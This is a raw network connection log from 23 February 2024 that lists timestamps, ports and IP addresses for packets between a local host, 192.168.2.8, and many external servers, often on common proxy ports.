Feb 23, 2024 14:28:23.217295885 CET	50736	8081	192.168.2.8	212.127.93.185
Feb 23, 2024 14:28:23.217713118 CET	50737	16686	192.168.2.8	92.204.136.149
Feb 23, 2024 14:28:23.218110085 CET	50738	29240	192.168.2.8	115.144.163.195
Feb 23, 2024 14:28:23.218429089 CET	50739	3212	192.168.2.8	103.204.82.34
Feb 23, 2024 14:28:23.218874931 CET	50740	80	192.168.2.8	50.239.72.16
Feb 23, 2024 14:28:23.219904900 CET	80	50420	184.169.154.119	192.168.2.8
Feb 23, 2024 14:28:23.220161915 CET	80	50642	188.114.99.171	192.168.2.8
Feb 23, 2024 14:28:23.220248938 CET	50642	80	192.168.2.8	188.114.99.171
Feb 23, 2024 14:28:23.220462084 CET	50642	80	192.168.2.8	188.114.99.171
Feb 23, 2024 14:28:23.220690966 CET	50741	2010	192.168.2.8	103.174.178.138
Feb 23, 2024 14:28:23.220801115 CET	50742	80	192.168.2.8	50.204.219.225
Feb 23, 2024 14:28:23.220938921 CET	50420	80	192.168.2.8	184.169.154.119
Feb 23, 2024 14:28:23.221549988 CET	3128	50015	37.120.222.132	192.168.2.8
Feb 23, 2024 14:28:23.221597910 CET	50743	999	192.168.2.8	191.97.16.160
Feb 23, 2024 14:28:23.222142935 CET	50744	60637	192.168.2.8	151.236.39.7
Feb 23, 2024 14:28:23.222918034 CET	50745	43131	192.168.2.8	161.97.147.193
Feb 23, 2024 14:28:23.223118067 CET	80	50648	172.67.182.38	192.168.2.8
Feb 23, 2024 14:28:23.223139048 CET	80	50647	104.21.64.208	192.168.2.8
Feb 23, 2024 14:28:23.223223925 CET	50647	80	192.168.2.8	104.21.64.208
Feb 23, 2024 14:28:23.223314047 CET	50648	80	192.168.2.8	172.67.182.38
Feb 23, 2024 14:28:23.223427057 CET	4153	49804	103.94.133.93	192.168.2.8
Feb 23, 2024 14:28:23.223541021 CET	33466	50193	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:23.223678112 CET	50746	1981	192.168.2.8	41.65.46.180
Feb 23, 2024 14:28:23.223794937 CET	50647	80	192.168.2.8	104.21.64.208
Feb 23, 2024 14:28:23.223890066 CET	50648	80	192.168.2.8	172.67.182.38
Feb 23, 2024 14:28:23.224469900 CET	50748	8080	192.168.2.8	88.255.65.125
Feb 23, 2024 14:28:23.224602938 CET	50747	80	192.168.2.8	209.13.186.20
Feb 23, 2024 14:28:23.225706100 CET	80	49874	141.148.63.29	192.168.2.8
Feb 23, 2024 14:28:23.225739002 CET	50749	80	192.168.2.8	3.24.178.81
Feb 23, 2024 14:28:23.225831032 CET	49874	80	192.168.2.8	141.148.63.29
Feb 23, 2024 14:28:23.225970030 CET	49748	80	192.168.2.8	104.45.128.122
Feb 23, 2024 14:28:23.226125002 CET	49874	80	192.168.2.8	141.148.63.29
Feb 23, 2024 14:28:23.226131916 CET	50171	37355	192.168.2.8	167.172.109.12
Feb 23, 2024 14:28:23.226319075 CET	3128	50591	13.37.59.99	192.168.2.8
Feb 23, 2024 14:28:23.226375103 CET	50750	80	192.168.2.8	104.18.81.76
Feb 23, 2024 14:28:23.226376057 CET	50226	80	192.168.2.8	50.223.239.185
Feb 23, 2024 14:28:23.226438999 CET	50591	3128	192.168.2.8	13.37.59.99
Feb 23, 2024 14:28:23.226649046 CET	50591	3128	192.168.2.8	13.37.59.99
Feb 23, 2024 14:28:23.227248907 CET	29075	49757	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:23.227277040 CET	50751	1122	192.168.2.8	103.152.101.22
Feb 23, 2024 14:28:23.228064060 CET	50752	999	192.168.2.8	181.209.110.190
Feb 23, 2024 14:28:23.228375912 CET	50753	47573	192.168.2.8	188.164.193.178
Feb 23, 2024 14:28:23.228388071 CET	80	50438	156.67.217.159	192.168.2.8
Feb 23, 2024 14:28:23.228408098 CET	80	50582	189.202.188.149	192.168.2.8
Feb 23, 2024 14:28:23.228472948 CET	50438	80	192.168.2.8	156.67.217.159
Feb 23, 2024 14:28:23.228499889 CET	6467	50590	107.181.141.70	192.168.2.8
Feb 23, 2024 14:28:23.228589058 CET	8080	50173	103.118.46.176	192.168.2.8
Feb 23, 2024 14:28:23.228667974 CET	50590	6467	192.168.2.8	107.181.141.70
Feb 23, 2024 14:28:23.228873014 CET	50590	6467	192.168.2.8	107.181.141.70
Feb 23, 2024 14:28:23.228929996 CET	50754	29566	192.168.2.8	66.228.33.190
Feb 23, 2024 14:28:23.228995085 CET	80	50078	50.173.140.151	192.168.2.8
Feb 23, 2024 14:28:23.229108095 CET	50438	80	192.168.2.8	156.67.217.159
Feb 23, 2024 14:28:23.229533911 CET	8089	50414	111.225.153.146	192.168.2.8
Feb 23, 2024 14:28:23.229595900 CET	50755	42690	192.168.2.8	162.240.19.133
Feb 23, 2024 14:28:23.229726076 CET	8080	50173	103.118.46.176	192.168.2.8
Feb 23, 2024 14:28:23.230408907 CET	50756	8080	192.168.2.8	103.254.175.181
Feb 23, 2024 14:28:23.230408907 CET	50173	8080	192.168.2.8	103.118.46.176
Feb 23, 2024 14:28:23.230572939 CET	8080	50173	103.118.46.176	192.168.2.8
Feb 23, 2024 14:28:23.231947899 CET	36331	50453	103.115.255.1	192.168.2.8
Feb 23, 2024 14:28:23.232018948 CET	50173	8080	192.168.2.8	103.118.46.176
Feb 23, 2024 14:28:23.232264996 CET	8080	50397	103.169.130.17	192.168.2.8
Feb 23, 2024 14:28:23.233207941 CET	50397	8080	192.168.2.8	103.169.130.17
Feb 23, 2024 14:28:23.233515024 CET	8080	49723	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:23.233524084 CET	8080	49723	115.96.208.124	192.168.2.8
Feb 23, 2024 14:28:23.233808041 CET	49723	8080	192.168.2.8	115.96.208.124
Feb 23, 2024 14:28:23.235694885 CET	11232	50656	5.161.98.204	192.168.2.8
Feb 23, 2024 14:28:23.235740900 CET	50397	8080	192.168.2.8	103.169.130.17
Feb 23, 2024 14:28:23.235899925 CET	50656	11232	192.168.2.8	5.161.98.204
Feb 23, 2024 14:28:23.235968113 CET	3128	50480	46.51.249.135	192.168.2.8
Feb 23, 2024 14:28:23.235970974 CET	50656	11232	192.168.2.8	5.161.98.204
Feb 23, 2024 14:28:23.236124039 CET	50480	3128	192.168.2.8	46.51.249.135
Feb 23, 2024 14:28:23.236124039 CET	50480	3128	192.168.2.8	46.51.249.135
Feb 23, 2024 14:28:23.236512899 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:23.236850023 CET	4145	49761	68.1.210.189	192.168.2.8
Feb 23, 2024 14:28:23.237019062 CET	4145	49761	68.1.210.189	192.168.2.8
Feb 23, 2024 14:28:23.237744093 CET	49723	8080	192.168.2.8	115.96.208.124
Feb 23, 2024 14:28:23.238472939 CET	50757	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:23.239048004 CET	50758	15084	192.168.2.8	51.75.125.208
Feb 23, 2024 14:28:23.240309000 CET	50759	1080	192.168.2.8	5.180.19.209
Feb 23, 2024 14:28:23.240518093 CET	49723	8080	192.168.2.8	115.96.208.124
Feb 23, 2024 14:28:23.240566015 CET	50760	36477	192.168.2.8	192.99.37.195
Feb 23, 2024 14:28:23.241051912 CET	50761	8080	192.168.2.8	115.96.208.124
Feb 23, 2024 14:28:23.241597891 CET	50156	4153	192.168.2.8	82.194.133.209
Feb 23, 2024 14:28:23.241599083 CET	49940	80	192.168.2.8	109.195.98.207
Feb 23, 2024 14:28:23.241601944 CET	50221	80	192.168.2.8	50.222.245.44
Feb 23, 2024 14:28:23.241611958 CET	50191	8080	192.168.2.8	5.78.44.6
Feb 23, 2024 14:28:23.241628885 CET	49938	32381	192.168.2.8	79.137.204.161
Feb 23, 2024 14:28:23.241630077 CET	49948	32244	192.168.2.8	92.246.139.113
Feb 23, 2024 14:28:23.241630077 CET	50037	8080	192.168.2.8	45.126.168.178
Feb 23, 2024 14:28:23.241641998 CET	49941	4145	192.168.2.8	174.77.111.196
Feb 23, 2024 14:28:23.241663933 CET	49944	999	192.168.2.8	154.212.7.243
Feb 23, 2024 14:28:23.241664886 CET	49943	4145	192.168.2.8	94.40.127.166
Feb 23, 2024 14:28:23.241879940 CET	50185	1080	192.168.2.8	31.172.189.205
Feb 23, 2024 14:28:23.242422104 CET	50762	5678	192.168.2.8	103.165.175.71
Feb 23, 2024 14:28:23.242479086 CET	50763	8089	192.168.2.8	111.224.11.28
Feb 23, 2024 14:28:23.243623018 CET	8080	50392	185.38.111.1	192.168.2.8
Feb 23, 2024 14:28:23.243632078 CET	4153	50265	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:23.243658066 CET	50764	80	192.168.2.8	104.23.107.172
Feb 23, 2024 14:28:23.243664026 CET	8080	50392	185.38.111.1	192.168.2.8
Feb 23, 2024 14:28:23.243683100 CET	4153	50265	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:23.243690014 CET	1080	50407	183.89.40.232	192.168.2.8
Feb 23, 2024 14:28:23.243710995 CET	50265	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:23.243760109 CET	50407	1080	192.168.2.8	183.89.40.232
Feb 23, 2024 14:28:23.243760109 CET	50265	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:23.243995905 CET	50766	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:23.244146109 CET	50392	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:23.244420052 CET	50765	3128	192.168.2.8	209.145.51.125
Feb 23, 2024 14:28:23.244565010 CET	50407	1080	192.168.2.8	183.89.40.232
Feb 23, 2024 14:28:23.244752884 CET	50767	3128	192.168.2.8	191.252.101.46
Feb 23, 2024 14:28:23.245871067 CET	50768	4153	192.168.2.8	143.255.178.129
Feb 23, 2024 14:28:23.246119022 CET	50770	999	192.168.2.8	190.94.212.165
Feb 23, 2024 14:28:23.246273041 CET	50769	82	192.168.2.8	217.199.151.94
Feb 23, 2024 14:28:23.246340036 CET	80	50662	172.64.152.98	192.168.2.8
Feb 23, 2024 14:28:23.246417999 CET	50662	80	192.168.2.8	172.64.152.98
Feb 23, 2024 14:28:23.246634007 CET	50662	80	192.168.2.8	172.64.152.98
Feb 23, 2024 14:28:23.246973991 CET	50771	80	192.168.2.8	172.93.213.177
Feb 23, 2024 14:28:23.247282982 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.247315884 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.247355938 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.247392893 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.247657061 CET	50772	3128	192.168.2.8	65.21.255.197
Feb 23, 2024 14:28:23.247700930 CET	5678	49831	103.217.249.129	192.168.2.8
Feb 23, 2024 14:28:23.248835087 CET	50774	3128	192.168.2.8	190.136.50.67
Feb 23, 2024 14:28:23.248835087 CET	50773	29249	192.168.2.8	92.205.61.38
Feb 23, 2024 14:28:23.249340057 CET	50775	39316	192.168.2.8	185.43.249.148
Feb 23, 2024 14:28:23.249666929 CET	15419	50604	104.238.111.107	192.168.2.8
Feb 23, 2024 14:28:23.249764919 CET	50604	15419	192.168.2.8	104.238.111.107
Feb 23, 2024 14:28:23.249986887 CET	50604	15419	192.168.2.8	104.238.111.107
Feb 23, 2024 14:28:23.249999046 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.250030994 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.250117064 CET	80	50524	24.205.201.186	192.168.2.8
Feb 23, 2024 14:28:23.250137091 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.250152111 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.250202894 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.250226974 CET	50776	31259	192.168.2.8	164.132.112.254
Feb 23, 2024 14:28:23.250298977 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.250591993 CET	31280	50601	82.113.157.122	192.168.2.8
Feb 23, 2024 14:28:23.250639915 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.250658035 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.250663996 CET	50601	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.250695944 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.250721931 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.250849009 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.251710892 CET	50601	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.251718044 CET	50777	3128	192.168.2.8	5.161.179.239
Feb 23, 2024 14:28:23.251745939 CET	8000	50199	24.199.86.181	192.168.2.8
Feb 23, 2024 14:28:23.251764059 CET	4145	50449	116.199.170.17	192.168.2.8
Feb 23, 2024 14:28:23.251863956 CET	50449	4145	192.168.2.8	116.199.170.17
Feb 23, 2024 14:28:23.252423048 CET	50449	4145	192.168.2.8	116.199.170.17
Feb 23, 2024 14:28:23.252424002 CET	50778	80	192.168.2.8	45.12.31.104
Feb 23, 2024 14:28:23.252650976 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:23.252680063 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:23.252723932 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:23.252732038 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:23.252754927 CET	50198	3128	192.168.2.8	34.83.143.6
Feb 23, 2024 14:28:23.252784014 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.252791882 CET	50198	3128	192.168.2.8	34.83.143.6
Feb 23, 2024 14:28:23.252804041 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.252841949 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.252880096 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.252892971 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.252901077 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.252907038 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.252921104 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.252921104 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.252945900 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.252952099 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.252952099 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.252954006 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.252998114 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.253037930 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.253040075 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.253089905 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.253097057 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.253110886 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.253134012 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.253144026 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.253148079 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.253319979 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.253854990 CET	3128	50206	139.129.162.65	192.168.2.8
Feb 23, 2024 14:28:23.254374027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.254390955 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.254426956 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.254513979 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.254518032 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.254540920 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.254571915 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.254592896 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.254596949 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.254606009 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.254609108 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.254642010 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.254951000 CET	80	50157	50.202.75.26	192.168.2.8
Feb 23, 2024 14:28:23.255189896 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255273104 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255280972 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255347967 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255393028 CET	50198	3128	192.168.2.8	34.83.143.6
Feb 23, 2024 14:28:23.255469084 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255489111 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.255544901 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255743980 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255788088 CET	50779	8080	192.168.2.8	103.70.79.3
Feb 23, 2024 14:28:23.255788088 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.255789042 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255796909 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255851030 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255863905 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.255872011 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.255937099 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.255985975 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.256145954 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.257114887 CET	50780	443	192.168.2.8	43.157.32.241
Feb 23, 2024 14:28:23.257138014 CET	443	50780	43.157.32.241	192.168.2.8
Feb 23, 2024 14:28:23.257216930 CET	50780	443	192.168.2.8	43.157.32.241
Feb 23, 2024 14:28:23.257293940 CET	50249	11351	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:23.257296085 CET	49942	5678	192.168.2.8	99.26.234.177
Feb 23, 2024 14:28:23.257312059 CET	49950	4145	192.168.2.8	197.157.254.162
Feb 23, 2024 14:28:23.257314920 CET	50190	80	192.168.2.8	50.204.190.234
Feb 23, 2024 14:28:23.257316113 CET	49946	32650	192.168.2.8	125.25.40.41
Feb 23, 2024 14:28:23.257329941 CET	49949	8080	192.168.2.8	45.236.36.19
Feb 23, 2024 14:28:23.257329941 CET	49962	15371	192.168.2.8	161.97.147.193
Feb 23, 2024 14:28:23.257332087 CET	49960	3128	192.168.2.8	185.104.63.55
Feb 23, 2024 14:28:23.257334948 CET	50106	8099	192.168.2.8	85.133.190.4
Feb 23, 2024 14:28:23.257347107 CET	49951	22942	192.168.2.8	92.204.135.37
Feb 23, 2024 14:28:23.257401943 CET	49961	44672	192.168.2.8	173.212.237.43
Feb 23, 2024 14:28:23.257843018 CET	50780	443	192.168.2.8	43.157.32.241
Feb 23, 2024 14:28:23.257853031 CET	443	50780	43.157.32.241	192.168.2.8
Feb 23, 2024 14:28:23.257900953 CET	443	50780	43.157.32.241	192.168.2.8
Feb 23, 2024 14:28:23.258065939 CET	50781	8080	192.168.2.8	68.188.93.171
Feb 23, 2024 14:28:23.258230925 CET	10867	50667	67.43.227.226	192.168.2.8
Feb 23, 2024 14:28:23.259165049 CET	32425	50196	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:23.259224892 CET	50783	443	192.168.2.8	43.157.32.241
Feb 23, 2024 14:28:23.259226084 CET	50782	8080	192.168.2.8	85.196.179.34
Feb 23, 2024 14:28:23.259233952 CET	443	50783	43.157.32.241	192.168.2.8
Feb 23, 2024 14:28:23.259341955 CET	18939	50668	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:23.259368896 CET	50783	443	192.168.2.8	43.157.32.241
Feb 23, 2024 14:28:23.259448051 CET	50783	443	192.168.2.8	43.157.32.241
Feb 23, 2024 14:28:23.259458065 CET	443	50783	43.157.32.241	192.168.2.8
Feb 23, 2024 14:28:23.259480953 CET	443	50783	43.157.32.241	192.168.2.8
Feb 23, 2024 14:28:23.259571075 CET	50784	44957	192.168.2.8	132.148.244.30
Feb 23, 2024 14:28:23.259924889 CET	50785	8089	192.168.2.8	36.6.144.247
Feb 23, 2024 14:28:23.260457993 CET	50786	443	192.168.2.8	43.157.32.241
Feb 23, 2024 14:28:23.260478020 CET	443	50786	43.157.32.241	192.168.2.8
Feb 23, 2024 14:28:23.260691881 CET	2006	50093	173.44.141.179	192.168.2.8
Feb 23, 2024 14:28:23.260699034 CET	50786	443	192.168.2.8	43.157.32.241
Feb 23, 2024 14:28:23.260976076 CET	50786	443	192.168.2.8	43.157.32.241
Feb 23, 2024 14:28:23.260987997 CET	443	50786	43.157.32.241	192.168.2.8
Feb 23, 2024 14:28:23.261003017 CET	443	50786	43.157.32.241	192.168.2.8
Feb 23, 2024 14:28:23.261154890 CET	3080	49802	5.9.98.142	192.168.2.8
Feb 23, 2024 14:28:23.261224985 CET	3080	49802	5.9.98.142	192.168.2.8
Feb 23, 2024 14:28:23.261300087 CET	4145	50682	72.195.101.99	192.168.2.8
Feb 23, 2024 14:28:23.261342049 CET	49802	3080	192.168.2.8	5.9.98.142
Feb 23, 2024 14:28:23.261370897 CET	49802	3080	192.168.2.8	5.9.98.142
Feb 23, 2024 14:28:23.261370897 CET	50682	4145	192.168.2.8	72.195.101.99
Feb 23, 2024 14:28:23.263263941 CET	80	50098	50.168.163.176	192.168.2.8
Feb 23, 2024 14:28:23.263278961 CET	8089	49800	125.87.86.119	192.168.2.8
Feb 23, 2024 14:28:23.263947010 CET	80	50576	104.24.15.158	192.168.2.8
Feb 23, 2024 14:28:23.264107943 CET	80	50573	104.20.125.124	192.168.2.8
Feb 23, 2024 14:28:23.264889002 CET	9300	50688	198.211.99.26	192.168.2.8
Feb 23, 2024 14:28:23.264914036 CET	50787	53882	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:23.266217947 CET	4145	50607	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:23.266323090 CET	50607	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:23.266343117 CET	8080	49937	200.108.234.105	192.168.2.8
Feb 23, 2024 14:28:23.266474962 CET	50607	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:23.266827106 CET	80	50689	104.16.108.204	192.168.2.8
Feb 23, 2024 14:28:23.266892910 CET	50689	80	192.168.2.8	104.16.108.204
Feb 23, 2024 14:28:23.267158031 CET	50788	8050	192.168.2.8	66.70.197.196
Feb 23, 2024 14:28:23.267165899 CET	50689	80	192.168.2.8	104.16.108.204
Feb 23, 2024 14:28:23.267478943 CET	50789	80	192.168.2.8	107.148.201.157
Feb 23, 2024 14:28:23.267699003 CET	80	49744	96.113.158.126	192.168.2.8
Feb 23, 2024 14:28:23.268580914 CET	50790	9232	192.168.2.8	64.202.184.129
Feb 23, 2024 14:28:23.268656015 CET	50791	54368	192.168.2.8	82.223.121.72
Feb 23, 2024 14:28:23.268723965 CET	9741	50492	94.142.137.203	192.168.2.8
Feb 23, 2024 14:28:23.269768953 CET	50793	3128	192.168.2.8	45.159.189.244
Feb 23, 2024 14:28:23.269768953 CET	50792	36926	192.168.2.8	41.190.233.61
Feb 23, 2024 14:28:23.270258904 CET	50794	60314	192.168.2.8	92.205.110.118
Feb 23, 2024 14:28:23.270576000 CET	80	50578	185.162.228.48	192.168.2.8
Feb 23, 2024 14:28:23.270817995 CET	11201	50051	38.41.0.6	192.168.2.8
Feb 23, 2024 14:28:23.270899057 CET	50795	8118	192.168.2.8	23.108.42.154
Feb 23, 2024 14:28:23.271512985 CET	80	50579	104.25.135.170	192.168.2.8
Feb 23, 2024 14:28:23.271775007 CET	50796	3129	192.168.2.8	20.219.235.172
Feb 23, 2024 14:28:23.272078037 CET	50797	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.272818089 CET	8443	50203	219.243.212.118	192.168.2.8
Feb 23, 2024 14:28:23.272829056 CET	50179	5678	192.168.2.8	185.16.12.137
Feb 23, 2024 14:28:23.272850037 CET	49839	8000	192.168.2.8	159.65.217.197
Feb 23, 2024 14:28:23.272850990 CET	49954	9002	192.168.2.8	221.6.139.190
Feb 23, 2024 14:28:23.272851944 CET	49953	4145	192.168.2.8	91.92.80.199
Feb 23, 2024 14:28:23.272867918 CET	49956	80	192.168.2.8	194.140.198.23
Feb 23, 2024 14:28:23.272869110 CET	50178	4145	192.168.2.8	185.169.181.11
Feb 23, 2024 14:28:23.272869110 CET	50262	25639	192.168.2.8	67.43.227.226
Feb 23, 2024 14:28:23.272869110 CET	49971	23306	192.168.2.8	51.38.14.161
Feb 23, 2024 14:28:23.272883892 CET	49963	8080	192.168.2.8	103.178.2.72
Feb 23, 2024 14:28:23.272885084 CET	49959	51181	192.168.2.8	162.240.147.48
Feb 23, 2024 14:28:23.272897005 CET	49958	8080	192.168.2.8	24.192.227.234
Feb 23, 2024 14:28:23.272897005 CET	49967	8080	192.168.2.8	95.158.174.111
Feb 23, 2024 14:28:23.272901058 CET	49841	3128	192.168.2.8	84.17.35.129
Feb 23, 2024 14:28:23.272975922 CET	49966	3128	192.168.2.8	51.178.165.36
Feb 23, 2024 14:28:23.273170948 CET	8443	50203	219.243.212.118	192.168.2.8
Feb 23, 2024 14:28:23.273231983 CET	8443	50203	219.243.212.118	192.168.2.8
Feb 23, 2024 14:28:23.273479939 CET	50798	8080	192.168.2.8	88.135.210.179
Feb 23, 2024 14:28:23.273482084 CET	50203	8443	192.168.2.8	219.243.212.118
Feb 23, 2024 14:28:23.273618937 CET	50799	7497	192.168.2.8	159.203.105.85
Feb 23, 2024 14:28:23.273993969 CET	50203	8443	192.168.2.8	219.243.212.118
Feb 23, 2024 14:28:23.274324894 CET	13897	50223	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:23.274656057 CET	50800	16379	192.168.2.8	51.15.240.207
Feb 23, 2024 14:28:23.275556087 CET	45685	50474	36.66.173.145	192.168.2.8
Feb 23, 2024 14:28:23.277627945 CET	4145	50608	142.54.226.214	192.168.2.8
Feb 23, 2024 14:28:23.278357029 CET	4145	50697	72.195.34.42	192.168.2.8
Feb 23, 2024 14:28:23.278453112 CET	50697	4145	192.168.2.8	72.195.34.42
Feb 23, 2024 14:28:23.278644085 CET	8000	50510	199.188.92.47	192.168.2.8
Feb 23, 2024 14:28:23.278937101 CET	8000	50510	199.188.92.47	192.168.2.8
Feb 23, 2024 14:28:23.279225111 CET	8000	50510	199.188.92.47	192.168.2.8
Feb 23, 2024 14:28:23.279325008 CET	8000	50510	199.188.92.47	192.168.2.8
Feb 23, 2024 14:28:23.279326916 CET	50510	8000	192.168.2.8	199.188.92.47
Feb 23, 2024 14:28:23.279392958 CET	8000	50510	199.188.92.47	192.168.2.8
Feb 23, 2024 14:28:23.279768944 CET	50510	8000	192.168.2.8	199.188.92.47
Feb 23, 2024 14:28:23.281477928 CET	80	50686	50.174.145.11	192.168.2.8
Feb 23, 2024 14:28:23.282171011 CET	10121	50691	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.282835007 CET	11	50564	8.213.128.6	192.168.2.8
Feb 23, 2024 14:28:23.282936096 CET	50564	11	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:23.283376932 CET	50801	80	192.168.2.8	172.67.182.102
Feb 23, 2024 14:28:23.283550024 CET	50564	11	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:23.283693075 CET	50802	48953	192.168.2.8	167.99.123.158
Feb 23, 2024 14:28:23.283750057 CET	50803	55842	192.168.2.8	207.244.252.14
Feb 23, 2024 14:28:23.285070896 CET	50804	999	192.168.2.8	190.110.99.189
Feb 23, 2024 14:28:23.285280943 CET	50805	80	192.168.2.8	104.19.235.10
Feb 23, 2024 14:28:23.285737038 CET	50806	34405	192.168.2.8	212.110.188.189
Feb 23, 2024 14:28:23.286415100 CET	50807	52876	192.168.2.8	161.97.173.78
Feb 23, 2024 14:28:23.287311077 CET	50808	7302	192.168.2.8	115.239.234.43
Feb 23, 2024 14:28:23.288425922 CET	50809	80	192.168.2.8	88.150.15.30
Feb 23, 2024 14:28:23.288433075 CET	50810	51032	192.168.2.8	37.228.65.107
Feb 23, 2024 14:28:23.288460016 CET	49970	8888	192.168.2.8	194.150.69.43
Feb 23, 2024 14:28:23.288465023 CET	49826	26719	192.168.2.8	162.210.192.136
Feb 23, 2024 14:28:23.288475990 CET	49975	999	192.168.2.8	167.249.29.214
